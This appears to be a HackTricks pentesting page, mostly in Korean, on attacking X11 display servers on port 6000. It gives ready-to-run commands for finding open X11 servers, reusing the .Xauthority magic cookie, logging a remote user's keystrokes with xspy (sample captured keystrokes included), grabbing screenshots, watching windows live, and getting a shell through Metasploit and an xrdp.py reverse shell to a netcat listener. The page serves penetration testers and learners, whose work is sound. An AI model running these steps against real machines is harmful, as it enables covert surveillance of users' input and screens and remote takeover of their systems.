6000 - Pentesting X11

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

Real-Time Hack News 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

Latest Announcements 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

Join us on Discord and start collaborating with top hackers today!

Basic Information

X Window System (X)는 UNIX 기반 운영 체제에서 널리 사용되는 다목적 윈도우 시스템입니다. 이는 개별 프로그램이 사용자 인터페이스 디자인을 처리하는 그래픽 **user interfaces (GUIs)**를 생성하기 위한 프레임워크를 제공합니다. 이러한 유연성은 X 환경 내에서 다양한 맞춤형 경험을 가능하게 합니다.

Default port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

익명 연결 확인:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Local Enumeration

사용자의 홈 폴더에 있는 파일 **.Xauthority**는 X11의 인증사용됩니다. 여기에서:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: 128비트 키(“쿠키”)를 생성하고 이를 ~/.Xauthority(또는 XAUTHORITY envvar가 가리키는 위치)에 저장합니다. 클라이언트는 이를 서버에 평문으로 전송합니다! 서버는 이 “쿠키”의 복사본이 있는지 확인하고, 있다면 연결이 허용됩니다. 키는 DMX에 의해 생성됩니다.

쿠키를 사용하기 위해 환경 변수를 설정해야 합니다: export XAUTHORITY=/path/to/.Xauthority

로컬 열거 세션

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

예제에서 localhost:0은 xfce4-session을 실행하고 있었습니다.

연결 확인

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

키로깅

xspy를 사용하여 키보드 입력을 스니핑합니다.

샘플 출력:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

스크린샷 캡처

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

원격 데스크톱 보기

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

먼저 xwininfo를 사용하여 창의 ID를 찾아야 합니다.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

실시간 보기를 위해 우리는 사용해야 합니다.

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

셸 얻기

msf> use exploit/unix/x11/x11_keyboard_exec

리버스 셸: Xrdp는 또한 Netcat을 통해 리버스 셸을 허용합니다. 다음 명령어를 입력하세요:

./xrdp.py \<IP:0> –no-disp

인터페이스에서 R-shell 옵션을 볼 수 있습니다.

그런 다음, 로컬 시스템에서 포트 5555에서 Netcat 리스너를 시작합니다.

nc -lvp 5555

그런 다음, R-Shell 옵션에 IP 주소와 포트를 입력하고 R-shell을 클릭하여 셸을 얻습니다.

References

Shodan

  • port:6000 x11

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

Hacking Insights 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

Real-Time Hack News 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

Latest Announcements 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

지금 Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

Support HackTricks

Last updated